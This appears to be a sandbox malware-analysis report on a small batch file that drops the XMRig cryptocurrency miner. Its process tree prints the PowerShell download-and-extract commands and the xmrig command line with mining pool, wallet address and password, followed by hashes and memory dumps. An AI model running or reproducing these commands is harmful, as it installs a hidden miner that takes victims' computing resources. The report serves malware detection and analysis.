Analysis

  • max time kernel
    1796s
  • max time network
    1800s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 05:15

General

  • Target

    tesy - Copy (5).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2728
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4676
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1320
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4312

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    00122e51129354089aff093a875a33f9

    SHA1

    b019e14f4f51c9011328c920d3ac368637de4a29

    SHA256

    dacbd65c115f63733b3dde29f3d57560aaf4ffd61ad10b2d31b8d248efc027b1

    SHA512

    aaeaf4365dd21688fe115113c6f55694250a2f05202012232cde12a08ac15dee2202188f69636dae07a5f6af74224c8da7415f0416ab4a7c0cc7e8ca8783ff3f

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m0dtmbqp.mhq.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    3.2MB

    MD5

    4b2275e8df65719009314a0a23a45558

    SHA1

    95fbef4629f6ace3dba90df63a9825e503e3c7eb

    SHA256

    4b8e7ff95e742973fb9c8c38ac68f6a1e692b05415036e1c92ee201b3b0e6699

    SHA512

    afb324ca3377dc8076d739dde9424ece01b32936b61fd92d5897625f296572637c061068a22a45fbd3e9565be9cb6e35b8f5b9f6c13c5f612443c03d1b04a91f

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    e2fe87cc2c7dab8ca6516620dccd1381

    SHA1

    f714ec0448325435103519452610cf7aadf8bbba

    SHA256

    d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4

    SHA512

    8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

  • memory/1320-65-0x000001AAFF310000-0x000001AAFF320000-memory.dmp

    Filesize

    64KB

  • memory/1320-38-0x00007FF9BE620000-0x00007FF9BF00C000-memory.dmp

    Filesize

    9.9MB

  • memory/1320-40-0x000001AAFF310000-0x000001AAFF320000-memory.dmp

    Filesize

    64KB

  • memory/1320-41-0x000001AAFF310000-0x000001AAFF320000-memory.dmp

    Filesize

    64KB

  • memory/1320-116-0x00007FF9BE620000-0x00007FF9BF00C000-memory.dmp

    Filesize

    9.9MB

  • memory/1320-92-0x000001AAFF300000-0x000001AAFF30A000-memory.dmp

    Filesize

    40KB

  • memory/1320-79-0x000001AAFF8B0000-0x000001AAFF8C2000-memory.dmp

    Filesize

    72KB

  • memory/4312-145-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-152-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-187-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-186-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-185-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-184-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-119-0x000001EB57D30000-0x000001EB57D50000-memory.dmp

    Filesize

    128KB

  • memory/4312-120-0x000001EB58050000-0x000001EB58090000-memory.dmp

    Filesize

    256KB

  • memory/4312-121-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-122-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-123-0x000001EB59840000-0x000001EB59860000-memory.dmp

    Filesize

    128KB

  • memory/4312-124-0x000001EB59860000-0x000001EB59880000-memory.dmp

    Filesize

    128KB

  • memory/4312-125-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-126-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-127-0x000001EB59840000-0x000001EB59860000-memory.dmp

    Filesize

    128KB

  • memory/4312-128-0x000001EB59860000-0x000001EB59880000-memory.dmp

    Filesize

    128KB

  • memory/4312-129-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-130-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-131-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-132-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-133-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-134-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-135-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-136-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-137-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-138-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-139-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-140-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-141-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-142-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-143-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-144-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-183-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-146-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-147-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-148-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-149-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-150-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-151-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-182-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-153-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-154-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-155-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-156-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-157-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-158-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-159-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-160-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-161-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-162-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-163-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-164-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-165-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-166-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-167-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-168-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-169-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-170-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-171-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-172-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-173-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-174-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-175-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-176-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-177-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-178-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-179-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-180-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4312-181-0x00007FF642870000-0x00007FF643373000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-25-0x00000205CBD10000-0x00000205CBD20000-memory.dmp

    Filesize

    64KB

  • memory/4676-4-0x00000205B3720000-0x00000205B3742000-memory.dmp

    Filesize

    136KB

  • memory/4676-5-0x00007FF9BE620000-0x00007FF9BF00C000-memory.dmp

    Filesize

    9.9MB

  • memory/4676-6-0x00000205CBD10000-0x00000205CBD20000-memory.dmp

    Filesize

    64KB

  • memory/4676-7-0x00000205CBD10000-0x00000205CBD20000-memory.dmp

    Filesize

    64KB

  • memory/4676-10-0x00000205CBEA0000-0x00000205CBF16000-memory.dmp

    Filesize

    472KB

  • memory/4676-26-0x00007FF9BE620000-0x00007FF9BF00C000-memory.dmp

    Filesize

    9.9MB

  • memory/4676-27-0x00000205CBD10000-0x00000205CBD20000-memory.dmp

    Filesize

    64KB

  • memory/4676-28-0x00000205CBD10000-0x00000205CBD20000-memory.dmp

    Filesize

    64KB

  • memory/4676-33-0x00007FF9BE620000-0x00007FF9BF00C000-memory.dmp

    Filesize

    9.9MB